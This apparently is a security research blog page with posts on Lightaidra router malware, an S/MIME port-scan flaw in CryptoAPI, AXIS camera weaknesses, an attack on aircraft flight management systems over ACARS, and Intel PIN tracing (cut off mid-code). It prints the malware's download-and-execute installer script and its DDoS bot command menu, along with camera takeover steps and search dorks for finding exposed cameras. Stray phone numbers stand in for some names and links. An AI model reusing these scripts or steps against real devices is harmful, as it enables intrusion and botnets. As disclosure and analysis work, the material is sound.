(681) 800-2965

732-231-1069

if we find it interesting, we post it here ;-)

Malware for Home Routers Found in the Wild

alt text

Overview

In my previous post I’ve mentioned that my coworker Konstantin Agouros captured a malware which attacked one of his routers in a lab.

For a long time most of us, security researchers, have been warning about the risk that poses routers and other network devices that run embedded systems that usually are in pretty bad shape when it comes to security.

We all do a bunch of researches that commonly end with some interesting results. When we comunicate the concerns that raised in our minds because of those research outcomes to our customers or even the ventors affected it is very common to face the following response: that’s theoretical, there’s nothing like that in the wild!.

This post is dedicated to all these people, the ones who like us do the research (yeah, keep working we are doing the right thing) and the people who basically tell us we are wasting our time.

Technical details

Konstantin gave me two files, an ELF binary and a shell script.

  1. getbinaries.sh: the shell script file
  2. arm: the ELF binary

Since the symbols were not stripped from the ELF binary, a quick callgraph gives us a pretty straight view of what the main functionalities of the malware.

alt text

The malware runs the following shell script in order to install itself.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh
# THIS SCRIPT DOWNLOAD THE BINARIES INTO ROUTER.
# UPLOAD GETBINARIES.SH IN YOUR HTTPD.

# YOUR HTTPD SERVER:
REFERENCE_HTTP="/dr.gnu.so"

# NAME OF BINARIES:
REFERENCE_MIPSEL="mipsel"
REFERENCE_MIPS="mips"
REFERENCE_SUPERH="sh"
REFERENCE_ARM="arm"
REFERENCE_PPC="ppc"

rm -fr /var/run/${REFERENCE_MIPSEL} \
        /var/run/${REFERENCE_MIPS} \
        /var/run/${REFERENCE_SUPERH} \
        /var/run/${REFERENCE_ARM} \
        /var/run/${REFERENCE_PPC}

wget -c ${REFERENCE_HTTP}/${REFERENCE_MIPSEL} -P /var/run && chmod +x /var/run/${REFERENCE_MIPSEL} && /var/run/${REFERENCE_MIPSEL}
wget -c ${REFERENCE_HTTP}/${REFERENCE_MIPS} -P /var/run && chmod +x /var/run/${REFERENCE_MIPS} && /var/run/${REFERENCE_MIPS}
wget -c ${REFERENCE_HTTP}/${REFERENCE_ARM} -P /var/run && chmod +x /var/run/${REFERENCE_ARM} && /var/run/${REFERENCE_ARM}
wget -c ${REFERENCE_HTTP}/${REFERENCE_PPC} -P /var/run && chmod +x /var/run/${REFERENCE_PPC} && /var/run/${REFERENCE_PPC}
wget -c ${REFERENCE_HTTP}/${REFERENCE_SUPERH} -P /var/run && chmod +x /var/run/${REFERENCE_SUPERH} && /var/run/${REFERENCE_SUPERH}

sleep 3;
rm -fr /var/run/getbinaries.sh

It downloads all the malware binaries which were compiled for a number of architectures, change the file permissions to make them executable and afterwards it tries to execute them.

Basically, it bruteforces the execution of the malware, not the most clever way to do it but it works of course.

Once it is successfully executed it follows the folloing steps:

  1. Forks the process so that it keeps running in the background (like a service).
  2. Deobfuscates a list of IRC servers it has harcoded in the binary, and then connects to them using a password which is also hardcoded and obfuscated.
  3. Waits for commands.

Beyond the command cmd_exec, which allows the malware to execute whatever console command is given to on the system where it is running, the malware is able to do a couple of things by itself, which are described in the cmd_help command.

alt text

When the cmd_help command is called it sends the following content as a private irc message to the attacker:

alt text

With a bit of clean up we get the following help menu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
'PRIVMSG %s :* *** Access Commands:\n\x00'
'PRIVMSG %s :*\n\x00'
"PRIVMSG %s :* .login                <password>        - login to bot's party-line\n\x00"
"PRIVMSG %s :* .logout                                 - logout from bot's party-line\n\x00"
'PRIVMSG %s :* *** Miscs Commands\n\x00'
'PRIVMSG %s :* .exec                 <commands>        - execute a system command\n\x00'
'PRIVMSG %s :* .version                                - show the current version of bot\n\x00'
'PRIVMSG %s :* .status                                 - show the status of bot\n\x00'
'PRIVMSG %s :* .help                                   - show this help message\n\x00'
'PRIVMSG %s :* *** Scan Commands\n\x00'
'PRIVMSG %s :* .advscan <a> <b>      <user> <passwd>   - scan with user:pass (A.B) classes sets by you\n\x00'
'PRIVMSG %s :* .advscan <a> <b>                        - scan with d-link config reset bug\n\x00'
'PRIVMSG %s :* .advscan->recursive   <user> <pass>     - scan local ip range with user:pass, (C.D) classes random\n\x00'
'PRIVMSG %s :* .advscan->recursive                     - scan local ip range with d-link config reset bug\n\x00'
'PRIVMSG %s :* .advscan->random      <user> <pass>     - scan random ip range with user:pass, (A.B) classes random\n\x00'
'PRIVMSG %s :* .advscan->random                        - scan random ip range with d-link config reset bug\n\x00'
'PRIVMSG %s :* .advscan->random->b   <user> <pass>     - scan local ip range with user:pass, A.(B) class random\n\x00'
'PRIVMSG %s :* .advscan->random->b                     - scan local ip range with d-link config reset bug\n\x00'
'PRIVMSG %s :* .stop                                   - stop current operation (scan/dos)\n\x00'
'PRIVMSG %s :* *** DDos Commands:\n\x00'
'PRIVMSG %s :* NOTE: <port> to 0 = random ports, <ip> to 0 = random spoofing,\n\x00'
'PRIVMSG %s :* use .*flood->[m,a,p,s,x] for selected ddos, example: .ngackflood->s host port secs\n\x00'
'PRIVMSG %s :* where: *=syn,ngsyn,ack,ngack m=mipsel a=arm p=ppc s=superh x=x86\n\x00'
'PRIVMSG %s :* .spoof          <ip>                    - set the source address ip spoof\n\x00'
'PRIVMSG %s :* .synflood       <host> <port> <secs>    - tcp syn flooder\n\x00'
'PRIVMSG %s :* .ngsynflood     <host> <port> <secs>    - tcp ngsyn flooder (new generation)\n\x00'
'PRIVMSG %s :* .ackflood       <host> <port> <secs>    - tcp ack flooder\n\x00'
'PRIVMSG %s :* .ngackflood     <host> <port> <secs>    - tcp ngack flooder (new generation)\n\x00'
'PRIVMSG %s :* *** IRC Commands:\n\x00'
'PRIVMSG %s :* .setchan        <channel>               - set new master channel\n\x00'
'PRIVMSG %s :* .join           <channel> <password>    - join bot in selected room\n\x00'
'PRIVMSG %s :* .part           <channel>               - part bot from selected room\n\x00'
'PRIVMSG %s :* .quit                                   - kill the current process\n\x00'
'PRIVMSG %s :* *** EOF\n\x00'

What the malware is able to do is self explanatory by reading the above help menu.

The malware abuses a D-Link routers vulnerability, as the help menu says: “d-link config reset bug”, but it could be used to abuse any other given vulnerability, it would be using also any exploit which is uploaded to the router and use it against any target the attack is willing to.

I clarify this because most vendors will say: “we are not vulnerable to these attack”, to dodge the issue.

The truth is that any device which runs Linux suffices for the malware to execute and do its thing.

The attacker only needs a vulnerability to exploit and deploy the malware. Aftewards he/she can attack the rest of the network, or use the embedded system to compromise other networks.

The source code

Within the strings found in the binary, there was one that lead us to the source code of the malware which is available in a github repo!

alt text

Go and check it for yourself: Lightaidra

Interesting Legal Aspects

In Germany, whenever p2p software is used to download content for example from BitTorrent, the owner of connection is made automatically reponsible for the content that was downloaded from his connection.

Now, what if the one downloading contents/attacking/etc is the router? Who is responsible for this activities? The ISP for providing an insecure device?

This is an interesting question, since it definitely isn’t the fault of the person who doesn’t even know what the router is doing. Maybe it is nobody’s fault, who knows.

I bet lawyers and people who care about their privacy would be eager to further research and answer it.

Conclusions

This particular version of the malware was compiled to target routers only, but anybody could modify it to target all soft of embedded devices which are networked connected and running Linux as operating system, since the source code is out there, available to everybody.

I’ve run it in the lab on a Surveillance camera and it ran just fine.

Long story short:

Source Code Available + Multi-Architecture out of the box + Evil people everywhere = What might go wrong? …Right?

Written by

Sergio Alvarez

A Portscan by Email – HTTP Over X.509 Revisited

The history

Design bugs are my favourite bugs. About six years ago, while I was working in the Public Key Infrastructure area, I identified such a bug in the X.509 certificate chain validation process (RFC 5280). By abusing the authority information access id-ad-caissuers extension, it allowed for triggering (blind) HTTP requests when (untrusted, attacker-controlled) certificates were validated. Microsoft was one of the few vendors who actually implemented that part of the standard and Microsoft CryptoAPI was vulnerable against it. Corresponding advisories (Office 2007, Windows Live Mail and (248) 414-6229) and a whitepaper were released in April 2008.

This issue was particularly interesting because it could be triggered by an S/MIME-signed email when opened in Microsoft Outlook (or other Microsoft mail clients using the CryptoAPI functionality). This allowed attackers to trigger arbitrary HTTP requests (also to internal networks) but not gaining any information about the result of the request. Also, because the request was done using CryptoAPI and not in a browser, it was impossible to exploit any kind of Cross Site Request Forgery issues in web applications, so the impact of the vulnerability was quite limited. In fact, I would consider this mostly privacy issue because the most interesting application was to find out that an email had been opened (and from which IP address and with which version of CryptoAPI), something that was otherwise (to my knowledge) pretty much impossible in Outlook (emailprivacytester.com, a very interesting service with many tests for email privacy issues seems to confirm that).

Revisiting the issue

In May 2012, I revisited the issue to see if something that I had been thinking about previously could be implemented – leveraging the issue to do port scanning on internal hosts by alternating between internal and external HTTP requests and measuring the timing distance on the (attacker-controlled) external host. It turned out that in a specific combination of nested S/MIME signatures with particularly long URLs (about 3500 characters, don’t ask my why exactly they are needed), one can actually observe a difference in timing between an open port or a closed port.

To test this, URLs that are triggered by the email would for example look similar to the following:

  1. /[attacker_server]/record_start?port=1&[3500*A]
  2. /[internal_target_ip]:1/[3500*A]
  3. /[attacker_server]/record_stop?port=1&[3500*A]
  4. …

The scripts »record_start« and »record_stop« on the server are used to measure the time difference between the two external requests (1 and 3), with which we can tell (roughly) how long the internal request to port 1 on the internal target IP took. Testing showed that in case the port is open, the time difference measured between the two external requests was significantly below one second, while if the port was closed, it was a bit above one second.

Unfortunately, we are not able to observe this for all possible ports. The timing difference for some HTTP request to a list of well-known ports was short regardless of whether they are open or closed, making it impossible to determine their state. My current assumption is that this is because the HTTP client library used by CryptoAPI does not allow connections on those ports to avoid speaking HTTP(S) on them (similar to browsers which typically make it impossible to speak HTTP on port 25).

A single email can be used to scan the 50 most-used (as determined by nmap) ports on a single host. A proof-of-concept which scans 127.0.0.1 has been implemented and can be tried out by sending an empty email to smime-http-portscan@klink.name. You will receive an automatic reply with an S/MIME-signed message which when opened will trigger a number of HTTP requests to ports on local host and a data logger running on my webserver. After a few minutes, you can check on a web interface to see which ports are open and which ones are closed. Sometimes, your Exchange mail server might prevent the test email from being delivered though because it contains a lot of nested MIME parts (try again with a more relaxed mailserver then ;–)).

Problem solved

After repeatedly bugging the Microsoft Security Response team about the issue (and accidentally discovering an exploitable WriteAV issue when too many S/MIME signatures were used – MS13-068, fixed in the October 2013 patch day), this has now been fixed with the November 2013 patch day release (CVE-2013-3870). In case the id-ad-caissuers functionality is actually needed in an organization, the functionality can be turned on again, though – with the risk of still being vulnerable to this issue.

Written by

Alexander Klink

5097141620

alt text

Overview

In August 2012 3602942003 released information about a software that facilitates intelligence-gathering on U.S. and global citizens, using surveillance technology, called TrapWire.

The idea behind that software is, to use various models of surveillance cameras for intelligence reasons by by-passing their weak security setup. Using this software is possible for example having a payload running silently, doing face recognition and looking for a match in a list of faces fingerprints, pinging back only if there is a match.

We decided to evaluate how difficult it would be to build and deploy such a system.

We used AXIS as test case, which is a vendor that manufactures Video Surveillance Cameras that are deployed all over the world on public transportation, banks, train stations, airports, universities, and so on. As shown by this article, the build and deployment of such a system could be done without great effort in cost or manpower. In fact it could be done within days, because of the very low security level surveillance cameras offer. It would even be possible to attack the networks behind these cameras by gaining access through them or even use them as a botnet.

The Camera

The specific camera model we used in our case was the: AXIS 209FD Network Camera

alt text

These cameras use a (586) 924-7898 cable. This technology is widely used on VoIP phones, because it requires only one cable to handle data communication and power supply.

Having a PoE injector is the only requirement to have it setup and running.

From AXIS website about this camera

“Customer story using the AXIS 209FD Network camera:

(609) 406-0164 Axis cameras ensure aviation safety at Sheremetyevo International Airport”

Technical details

The AXIS 209FD, runs Linux over ARM architecture and by default it runs services for HTTP and FTP.

In our setup the camera requests to set a root account password when configured for the first time.

It seems other models have a default user ‘root’ with the password ‘pass’, although this wasn’t our case.

Because of the fact that the cameras can be configured to VIEW only, it is a nice service for example for Hotels to show the local weather and their facilities to potential customers.

Interacting with the system

The system offers a Setup menu, which displays all the information about the camera and firmware version

alt text

under Advanced->Scripting it allows to modify the local files.

alt text

Basically under /192.168.0.90/admin-bin/editcgi.cgi?file=YOUR_FILE_OR_DIRECTORY, the users can replace YOUR_FILE_OR_DIRECTORY by a value of their choice.

alt text

Enabling Telnet

By default Telnet is not enable, but it is as simple as to open /192.168.0.90/admin-bin/editcgi.cgi?file=/etc/inittab , then uncomment the line that says “#tnet:35:once:/usr/sbin/telnetd” as shown in the following image, press “Save file”…

alt text

…and you are good to go.

As you can see, everything runs as root.

alt text

The BOA Webserver also runs as root, of course.

Vulnerability development

In order to do some vulnerability research you would need to do the usual stuff:

  • Upload a statically compiled gdb, if you are looking for memory corruptions and the like.
  • Download the contents of /usr/html, which is where the web contents are located, to look for vulnerabilities in their web interface.
  • Download the binaries running by default and/or the ones which are called through the web interface, if you are willing to do some static analysis with IDA Pro.
  • Audit their web interface with burp.
  • Etc.

There is also available an 5069786564, if you like such an environment. This could become handy to an attacker who is willing to develop some malware for the platform. I talk a bit more about this at the end of this post.

Attacking the camera remotely

The two obvious ways would be to go after known vulnerabilities in the default HTTP and FTP services, Linux kernel, and the web interface.

The web interface is pretty interesting, since it calls binaries with arguments and such, it has binaries and scripts exposed as CGIs.

The ACLs to restrict the access to the different parts of the web interface depends on how sensitive the direct action is, at least that’s what I believe AXIS thought.

For example to change configurations you have to use an Administrator user, to access no-so-sensitive parts the Operator user, and to just view through the camera a Viewer user.

Some cgi are not properly protected, at least I think so.

For example the cgi command.cgi, is located in my setup under:

is in fact a shell script, which parses a bunch of arguments from the GET request.

The purpose of this cgi is to make camera captures, so that the user can afterwards retrieve them.

The user can configure the number of captures, how often to do them, give the task a name and launch it. Afterwards stop the task and retrieve the images. It is also possible to remove the files and directory created by the task.

Depending on the configuration given, the cgi will call a binary with the arguments provided. ;–)

This script is vulnerable to command injection, a bit tricky to exploit. The good thing is that it is accessible to every viewer. A lot of hotels, universities, and many others, have these cameras accessible to everybody to only view, which is enough to misuse this vulnerability.

The goal of this post in not about uncovering a bunch of 0days, neither about making a step by step exploitation tutorial, but to give the reader a taste of how much you should trust your Surveillance camera and give you some ideas about where to look to make them more secure. Given the fact these devices run Linux, hardening guidelines can help to secure them better. As the reader can imagine there are more vulnerabilities, which are much more interesting than this one, but they are beyond the scope of this post.

Since everything is running under the context of the user root, whatever vulnerability you find will give you root access to the camera.

Searching for targets

Searching for targets would differ on the attackers purpose, but let’s focus on someone who wants to get as many victims as possible without much effort.

844-840-4060 and Google would be two of the most straightforward tools to use.

SHODAN

Searching for 918-259-8537 would give a massive amount of potential targets.

alt text

On the other hand if the attacker is more focused on some specific camera model 5404574065, would return a more specific list.

alt text

Google

By using the well-known ‘inurl’, we can do the following searches to get a list of cameras exposed to Internet:

  • inurl:/view.shtml
  • inurl:ViewerFrame?Mode=
  • inurl:ViewerFrame?Mode=Refresh
  • inurl:axis-
  • inurl:view/index.shtml
  • inurl:view/view.shtml
  • liveapplet
  • intitle:”live view” intitle:axis

being a little more specific, “inurl:/view/index.shtml site:.de”, to search for cameras in German domains.

Fingerprinting the camera

There are two very easy ways to identify the camera and firmware version.

Through FTP, the banner tells everything for you, in my case:

1
2
3
chidori:~ shadown$ ftp 192.168.0.90
Connected to 192.168.0.90.
220 AXIS 209FD Network Camera 4.43 (Jan 23 2007) ready.

Via the web interface you can get the release version, this is accessible even if the camera has been configured to always required to login.

It is under 619-331-8939

In my case:

1
2
part: 28507
version: 4.43

The Risk

Surveillance cameras are used for monitoring, and controlling, in order to keep places safe.

These cameras could be misused in a number of ways in the advantage of an attacker, for example:

  • To watch activities and get behavior patterns.
  • To replace the video stream of a pre-recorded one, so that the people monitoring would never get aware of what’s really going on.
  • To deploy botnets.
  • To attack the network behind the camera.
  • To deploy a payload which does face recognition, which is pretty straight if cross compiling 919-956-5304
  • at least, anything that a Linux box and a camera can do.

Conclusions

Surveillance Cameras seems not to have been developed with security in mind, at least it is the case of this particular camera. I’ve roughly looked at other AXIS cameras and they look pretty much like this one. All processes running as root, no proper ACLs and so on. Since the OS these cameras are running is a Linux, they are just like any other Linux box, which makes it pretty straight to develop some software and then deploy it to the camera.

As a matter of fact, a couple of weeks ago Konstantin gave me a malware he found on some router, a malware that targets home routers. I’ll do a dedicated post about this particular malware, since I found it pretty interesting because it targets a bunch of architectures, including ARM.

Although this malware is not targeting these cameras, it runs flawlessly in them.

Surveillance Cameras should be treated as any other Linux box, because that’s exactly what they are. And the security of these boxes should be taken a little more seriously.

Written by

Sergio Alvarez

Aviation Security - FMS Exploitation Over ACARS

Overview

The presentation at HITB Amsterdam evinced a remote attack against on-board aircraft systems that allowed partial control of the navigation capabilities of the target. In order to be able to accomplish that, many aviation specific technologies were used. Due to the specific aviation protocols used, mainly unknown to the average IT professional, every phase of the attack will now be explained in detail.

The attack

The attack is divided into three main phases that match the ones used during any attack scenario: Discovery, Information Gathering and Exploitation.

alt text

Let’s now see each of these phases in deeper detail by learning about the aviation specific technologies employed and studying how to use them on this attack.

Discovery

During the discovery phase the goal is to be able to collect as many potential targets as possible, in this case aircrafts. In order to gain this information a technology called ADS-B is used and we will try to gather all the possible information about the available targets.

alt text

This phase will be performed passively by just listening for ADS-B traffic, and never having to send nothing to interact with the aircrafts; although it has been proved that ADS-B lacks the security mechanisms to prevent that from happening (See References).

ADS-B

Automatic dependent surveillance-broadcast (ADS-B) is a cooperative surveillance technology for tracking aircrafts. The aircraft determines its own position and periodically broadcasts this via a radio frequency. ADS-B can be seen as modern radar used by Air Traffic Control to track aircrafts as was done with the older radar technologies.

ADS-B periodically broadcasts information about the aircraft, such as identification, current position, altitude, and velocity, through an onboard transmitter. ADS-B provides air traffic controllers with real-time position information that is, in most cases, more accurate than the information available with current radar-based systems.

The system relies on two avionics components—a high-integrity GPS navigation source and a datalink (ADS-B unit). There are several types of certified ADS-B data links, but the most common ones operate at 1090 MHz, essentially a modified Mode S transponder, or at 978 MHz.

There are two different approaches to collect this information: Free sources and ADS-B Receivers.

Free Sources

There exist many places where it is possible to see a big amount of flights tracked worldwide in, almost, real time. Web sites like FlightRadar24 offer this data and even have mobile applications that can be used for aircraft tracking. Those sites collect ADS-B traffic worldwide with the help of volunteers that use ADS-B receivers to gather aircraft information on their area.

alt text

The complete lack of security of the ADS-B protocol permits to listen for this information, that is unencrypted, and gather aircraft detailed information such as: position, speed, heading, altitude, registration number, etc. This is a big amount of information that allows us to gain deep knowledge on all the potential targets in a huge area.

Also, public databases with historical details for most aircrafts can be consulted in order to gather precise information on the common routes flown by an aircraft.

alt text

ADS-B Receivers

The major drawback of this approach is the lack of information on some areas that may not be covered by any volunteer. To gather precise information on such areas the best way is to collect our own ADS-B traffic. There exist many cheap ADS-B receivers and open source or free software decoders that may allow us to collect and parse this information on our area.

alt text

By using both sources together a good view of the local available aircrafts can be obtained, with great coverage and very detailed for our surrounding area. We had good results by using the “microADSB” receiver with the “Virtual Radar” and “ADSBScope” programs. See References for the links.

alt text

It is outside of the scope of this post to explain in detail the Hardware and Software available, as well as to explain how to use them to collect ADS-B information, but on the References at the end we have collected some good resources that explain step by step how to setup everything in order to start gathering ADS-B traffic.

Information gathering

After the Discovery phase we now have a list of most of the available targets and some information on each of them. What we now need is to know which of those targets are vulnerable to our exploits.

In a similar way as in a normal computer attack, the goal of the Information Gathering phase is to collect more detailed information on the systems (“services”) running on-board the aircrafts and select those ones that are vulnerable to our code.

alt text

We already collected all the information provided by ADS-B communications sent by the aircrafts, so another source of information must be used in order to try to learn about the on-board systems. The approach we are going to follow is the monitoring of another communications protocol, called ACARS.

ACARS

Aircraft Communications Addressing and Reporting System (ACARS) is a digital data link system for transmission of short, relatively simple messages between aircraft and ground stations via radio or satellite. It can be seen as the e-mail of the aviation.

One of the initial applications for ACARS was to automatically detect and report changes to the major flight phases, these messages are used to track the status of aircraft and crews. In addition to detecting events on the aircraft and sending messages automatically to the ground, initial systems were expanded to support new interfaces with other on-board avionics.

Lately a datalink interface was introduced between the ACARS management units and flight management systems. This interface enables flight plans and weather information to be sent from the ground to the ACARS management unit, for forwarding to the flight management system. This feature gives the airline the capability to update flight management systems while in flight.

Detailed engine reports can also be transmitted to the ground via ACARS. The airlines use these reports to automate engine trending activities. This capability enables airlines to monitor their engine performance more accurately and identify and plan their repair and maintenance activities more rapidly.

As well as with ADS-B in the Discovery phase, we can use two different approaches to collect ACARS data and try to gather more detailed information on the targets: free sources and SDR. This phase is also passive and we will just sniff for ACARS messages and never send any message ourselves.

Free sources

Live ACARS feeds can be found on the “acarsd” project web site. Although the coverage is far from complete, live ACARS messages can be monitored either using a browser or the acarsd client software. The latter being better more responsive and available for many platforms.

alt text

As happens with ADS-B monitoring, the public feeds offer higher coverage but by gathering our own messages we have better data for a specific area. The best approach to capture and decode ACARS messages is by using Software Defined Radio.

Software Defined Radio

In brief, a Software Radio is a radio system which performs the required signal processing in software instead of using dedicated integrated circuits in hardware. The benefit is that since software can be easily replaced in the radio system, the same hardware can be used to create many kinds of radios for many different transmission standards; thus, one software radio can used for a variety of applications.

alt text

Standard ACARS transmits at a frequency of 131.550MHz, which is squarely in the receivable range of most SDR. The SDR software radio can be used as a radio scanner for listening to these digital messages, and with the help of some decoding software, can be used to decode and display the messages. The messages you can receive will be from nearby aircraft and ground stations.

Detailed instructions on how to use SDR to receive and decode ACARS messages will not be explained here, but can be found on the reference material at the end of the post.

As has been seen, ACARS is widely used in order to keep track many systems status and to update some of them even while the aircraft is on flight. By collecting and carefully analyzing this type of messages it is possible to guess some of the on-board systems model. This procedure may take some time but within a few days of monitoring, mainly while the targets are on ground between flights, this information can be gained.

Exploitation

alt text

It may require a lot of time, but by passively monitoring the ACARS communications of the potential targets, a lot of detailed information regarding the on-board systems can be gathered.

This information is crucial for the exploitation phase, as we need to know precisely the manufacturer and version of the system to be exploited.

alt text

If we recall from the ACARS protocol description, there is a very interesting feature to consider: “(…) gives the airline the capability to update flight management systems while in flight”.

The FMS

A Flight Management System (FMS) is a specialized computer system that automates a wide variety of in-flight tasks, reducing the workload on the flight crew to the point that modern civilian aircraft no longer carry flight engineers or navigators. Its primary function is in-flight management of the flight plan. Using various sensors (such as GPS and INS often backed up by radio navigation) to determine the aircraft’s position, the FMS can guide the aircraft along the flight plan.

From the cockpit, the FMS is normally controlled through a Control Display Unit (CDU) which incorporates a small screen and keyboard or touchscreen. The FMS sends the flight plan for display to the Electronic Flight Instrument System (EFIS), Navigation Display (ND), or Multifunction Display (MFD).

There are many different types of data that can be sent to the Flight Management System via ACARS while the aircraft is in flight, like the Navigation Data Base or the Flight Plan.

The NDB contains all of the information required for building a flight plan, consisting of:

  • Waypoints/Intersection
  • Airways (highways in the sky)
  • Radio navigation aids including distance measuring equipment (DME), VHF omnidirectional range (VOR), non-directional beacons (NDBs) and instrument landing systems (ILSs).
  • Airports
  • Runways
  • Standard instrument departure (SID)
  • Standard terminal arrival (STAR)
  • Holding patterns (only as part of IAPs-although can be entered by command of ATC or at pilot’s discretion)
  • Instrument approach procedure (IAP)

The flight plan is generally determined on the ground, before departure either by the pilot for smaller aircraft or a professional dispatcher for airliners. It is entered into the FMS either by typing it in, selecting it from a saved library of common routes (Company Routes) or via an ACARS data link with the airline dispatch center.

Given the flight plan and the aircraft’s position, the FMS calculates the course to follow. The pilot can follow this course manually or the autopilot can be set to follow the course.

Vulnerability research

The main idea for the FMS exploitation is to send some malformed data to the FMS, via ACARS, that triggers a vulnerability on the parsing code allowing us to execute arbitrary code. If the vulnerability used is the appropriate, it will be triggered before the pilot has to perform any action and the full attack can be therefore remote and straight forward.

The details on the vulnerability and its exploitation will depend on the manufacturer and model of the targeted FMS, as well as the technologies employed that can range from C to ADA and run over proprietary RTOS on a PPC or x86 architecture, among others.

For the initial research on this attack, as access to a real FMS was difficult to gain, training software from one FMS manufacturer was used. It is important to note that this software uses the same code that the on-board FMS and it has a graphical layer programed in Visual Basic to allow the pilots to use this system on a Windows machine for training purposes.

alt text

It is important to completely understand these program inners in order to differentiate between the graphical layer and the core with the real avionics system code, as we want to be sure that the code we are exploiting is the last one.

alt text

Although the attack delivers the exploit to the FMS via ACARS, for fuzzing and vulnerability research we will use the “local” data loader of the program to load the malformed data on the FMS as it is easier and faster to setup and automate.

On older FMS there are three databases: Software options (OP PROGRAM), Model/Engine data base (MEDB) and Navigation data base (NDB), all of which are stored on an EEPROM memory card. These databases can all be updated via the data loader.

  • The Software options database includes the operational program and its update, plus any company specific differences.
  • The MEDB holds all the performance data for V speeds, min & max speeds in climb, cruise & descent, fuel consumptions, altitude capability etc.
  • The NDB is comprised of Permanent, Supplemental (SUPP) and Temporary (REF). The Permanent database cannot be modified by crew. There are four types of data: Waypoint, Navaids, Airport and Runway. Runway data is only held in the permanent database.

As seen, there are many different data files we can use to find the vulnerabilities, but the easiest ones to focus are the NDB and the Flight Plans. The NDB for the software we are going to use can be found on the root folder of the program and the flight plans on the folder “AFIS”.

In order to load this data manually we have to study the manual and see the steps necessary, and the FMS has not an easy to understand workflow, even less if you are not familiar with aviation systems and terminology. If we want, for example, to load a new NDB, after starting the FMS we have to follow these steps:

alt text

  • Press the button pointed by the “Maintenance” option on the main screen.

alt text

  • Press the “DATA LOAD” button on the left

alt text

  • Select the Database to load from the available options

alt text

  • Select the option “FR LOADER” and confirm the operation

Any fuzzing framework or tool can be used in order to modify any of these databases and then feed them to the FMS software. Anyway, by simply manually modifying the files some crashes can be easily found.

alt text

After loading this modified Database on the FMS a crash happens with some of the registers modified by our input:

alt text

Although this specific crash cannot be used to exploit the appropriate code, the one from the real avionic system, it is a good example of the procedure and helps to highlight the presence of vulnerabilities in the code.

No vulnerability details or exploit code is going to be released affecting the avionics code in order to prevent possible irresponsible usage of this work. Our motivation is to help the affected industry to improve the security of their products. We strongly believe in responsible disclosure and we and act accordingly.

Exploit delivery

In order to send the exploit to the FMS the manual load of the NDB is not a very good delivery method, it is far better to use ACARS in order to send the NDB update remotely to the aircraft no matter where it is located.

There is no published code to transmit ACARS messages using SDR, although can be developed in a reasonably amount of time, and that would be illegal and very dangerous. Although for testing purposes, a controlled testing environment, similar to the described in the ADS-B attack at the References, can be setup to test de availability of the attack vector.

Ground Service Providers

The Ground Service Providers (GSP) are companies that offer, among others, data link communication services to airlines and any other aviation industry related companies. Companies such as ARINC, SITA or Honeywell sell different data link services that can be accessed via all kind of modern interfaces. Web and mobile applications, desktops clients, servers or even cloud services are offered in order to gain customers and make their daily work easier.

A better and easier delivery method would be to gain access to these datalink service interfaces and use them to deploy the exploit worldwide without having to take care of the radio, coding or delivery. This approach will be explained in high detail in an upcoming post.

Conclusions

This is the work presented at HITB Amsterdam in 2013, and we released enough details to help other researchers to start their own work on this field. Although this attack has some difficulties to setup and does not target the avionics code on the real architecture and RTOS, some of those limitations are going to be overcome in future conferences and publications.

References

ADS-B

ACARS

SDR

ADS-B/ACARS Security

FMS

Written by

Hugo Teso

858-964-1707

Overview

Static binary analysis is a very powerful tool but it has its limitations. Dealing with C++ code making use of virtual functions or with function calls being resolved at runtime are just two examples of nightmares for a reverse engineer. Another example would be to figure out which code paths are taken after processing a certain input. Let me show with an example why this is indeed an interesting problem for a security researcher. Imagine the case of an analyst evaluating the security of, let’s say, a PDF reader. Through fuzzing the application will be fed with a large amount of “mutated” PDF files (most of them deviating from the specification) in order to cause an application error. Some of these errors can be indicators of an underlying problem that could be leveraged by an attacker to take over the application.

An important measure in such an audit is the so called “code coverage”. Simply explained this measures which percentage of the total code that has been actually executed during our tests. A code coverage of 60% for example means that almost half of the application has not been tested. This means a lot of potential vulnerabilities left undiscovered.

Now that you have (hopefully) a good idea of how important is to trace the program’s execution let’s jump to a concrete example.

Tracing with Intel PIN

PIN is a framework from Intel to perform 336-235-3169). It would be pretentious to try to explain what it is better than their creators, so here is an excerpt from its manual:

[Quote]“Pin is a dynamic binary instrumentation framework for the IA-32 and x86-64 instruction-set architectures that enables the creation of dynamic program analysis tools. […] The tools created using Pin, called Pintools, can be used to perform program analysis on user space applications in Linux and Windows. As a dynamic binary instrumentation tool, instrumentation is performed at run time on the compiled binary files. Thus, it requires no recompiling of source code and can support instrumenting programs that dynamically generate code.

Pin provides a rich API that abstracts away the underlying instruction-set idiosyncrasies and allows context information such as register contents to be passed to the injected code as parameters. Pin automatically saves and restores the registers that are overwritten by the injected code so the application continues to work. Limited access to symbol and debug information is available as well.”[/Quote]

Using the PIN framework it is possible to create so called Pintools that will be compiled to a DLL (in Windows). These contain the guide to instrument the target program, something along the lines of “Keep track of all operations that write to memory” or “Increment this counter every time a new instruction is executed”. Very complex programs can be developed using PIN and several tools used internally in Intel are based on it. In our case we will develop a small Pintool which just executes a callback function every time a basic block is hit. This callback will log the address of the basic block to a file or optionally to a SQLite3 database.

The following is an excerpt of the main function. The code initializing the log file and the database has been omitted. Especially important here is the function TRACE_AddInstrumentFunction, which registers a function (Trace) in order to instrument every basic block found during execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main(int argc, char *argv[])
{
  /* Initialize Pin with symbol capabilities */
  PIN_InitSymbols();
  if(PIN_Init(argc, argv)) return Usage();
  […]
  TRACE_AddInstrumentFunction(Trace, 0);  / basic block analysis
  IMG_AddInstrumentFunction(imageLoad_cb, 0); / image activities
  PIN_AddThreadStartFunction(threadStart_cb, 0);  / thread start
  PIN_AddThreadFiniFunction(threadFinish_cb, 0);  / thread end
  PIN_AddFiniFunction(Fini, 0);       / cleanup code

  PIN_StartProgram();     / This never returns

  return 0;
}

Other information will be logged as well, for example the addresses of code sections of all modules, through the use of IMG_AddInstrumentFunction and the corresponding callback (imageLoad_cb). This information is useful to avoid tracing into system DLLs, improving the tracer’s performance.

The next excerpt shows the very short Trace function. This analyzes the binary and inserts a call to the function LogBasicBlock at the beginning of each basic block of execution within every function.

1
2
3
4
5
6
7
8
void Trace(TRACE trace, void *v) {
/* Iterate through basic blocks */
for(BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl)){
  /* Instrument at basic block level */
  INS head = BBL_InsHead(bbl);
